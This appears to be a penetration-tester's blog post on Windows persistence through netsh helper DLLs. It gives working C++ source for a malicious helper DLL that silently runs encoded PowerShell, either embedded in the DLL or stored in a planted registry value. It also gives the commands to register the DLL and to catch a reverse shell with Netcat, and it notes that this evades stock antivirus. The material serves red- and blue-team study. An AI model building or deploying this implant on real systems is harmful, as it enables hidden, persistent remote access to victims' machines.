Checkout SlayerLabs.com!
Networks Engineered to Exploit.
- Windows/UNIX - Domains/Subnets - Initial/Post/Lateral - Low Cost VPN Ranges -
Netsh DLL Helpers
The native Microsoft command-line utility NetShell is an extensible tool for admins, pentesters and defenders. See a brief write-up of mine on its offensive functionality
One added feature of netsh is it has the ability to load custom DLL’s. These DLL’s are known as “helpers” and they’re used to extend the products functionality. Once a helper DLL is added to netsh, the DLL will execute upon netsh.exe startup.
An attacker may leverage this built-in functionality to maintain persistence by crafting a malicious helper DLL. I was curious about this vector and created a basic PoC to test - which I’ll be going over in this post.
Who or What uses netsh?
Sysadmins may use netsh.exe to set firewall rules, configure sockets, check wlan configurations, etc. Usually this will be limited in use, a quick network update and back to something else. Although VPN client software is known to use netsh on a regular basis. A bad guy using a VPN to hack into the Gibson, or Bob working from home VPN’ing into the Gibson may both be considered white noise.
An attacker could get crafty and execute netsh on startup, which may not raise any red flags to AV vs starting a separate malicious processes. An admin or AV may also see this as normal VPN behavior.
Custom Helper Format
According to official Microsoft documentation, any netsh helper will need to include the InitHelperDll function to export, a few required parameters, and a return value of NO_ERROR upon success. See specifics here. Without the correct syntax the DLL will fail to load.
Here’s an example of what’s necessary:
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
//code
return NO_ERROR;
The End Goal & PoC
The goal is to mimic an attacker and leverage this vector to maintain persistence on a Windows host with the assumption netsh is executed in the background by a VPN software. The PoC will run a separate thread, so netsh is still useful while the reverse shell is running - a bonus will be to avoid MS Security Essentials or any stock Win7 security countermeasures.
Keep in mind, this PoC is quick and basic. If you have any additional input, feel free to clone and add them yourself.
#include <stdio.h>
#include <windows.h>
DWORD WINAPI YahSure(LPVOID lpParameter)
{
//Option 1: Quick and simple. Opens 1 PS proc & briefly displays window. Set payload to b64 unicode.
//system("start C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -nonI -nopro -enc cwB0AGEAcgB0ACAAYwBhAGwAYwA=");
//Option 2: Execute loaded b64 into a reg key value. Will spin up a few etra procs, but will not open an extra window.
system("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c $x=((gp HKLM:SOFTWARE\\Microsoft\\Notepad debug).debug);powershell -nopro -enc $x 2> nul");
return 1;
}
//Custom netsh helper format
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
{
HANDLE hand;
hand = CreateThread(NULL, 0, YahSure, NULL, 0, NULL);
CloseHandle(hand);
return NO_ERROR;
}
The PoC has two options
Option1: Spawn a Base64 encoded shell located within the C++ source file. The attacker would need to re-create the DLL anytime the port/ip/payload change, but is all self-contained and won’t run multiple processes.
Option2: Execute an encoded shell located within the targets registry. The attacker will need to place a Base64 encoded payload within the defined registry key. Similar to an Empire persistence exploit, but spawns multiple processes - I’ll be going over this option.
Exploit
First, a simple powershell reverse shell one-liner is encoded in Base64 Unicode.
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("reverse-shell-code-here"))
Next, a new registry key is created… or another option, an attacker could update the string value of an existing key. In this case a new key named “debug” is created within:
HKLM\SOFTWARE\Microsoft\Notepad
Then the payload is pasted in as the string value within the new debug key (similar to Powershell Empire).
The above C++ code is all set for this scenario - C++ is telling cmd to use powershell to execute an encoded powershell one-liner. A lot going on, but making separate modules may keep AV on its toes, then again the extra processes may cause the user to be suspicious. Now the DLL is built.
Next move the newly created DLL - in our case netshlep.dll - to an unsuspicious folder, such as System32. Once moved, add the DLL to netsh via cmd:
C:\Windows\System32>netsh add helper netshlep.dll
Now, create a Netcat listener on you attacking machine and blast off netsh.exe when ready.
Great, now we have shell in a persistent manner with netsh still functioning properly and no alarms set off by MS Security Essentials. Not super 1337 HackerMan exploit, but another technique to put in your tool belt when red or blue teaming.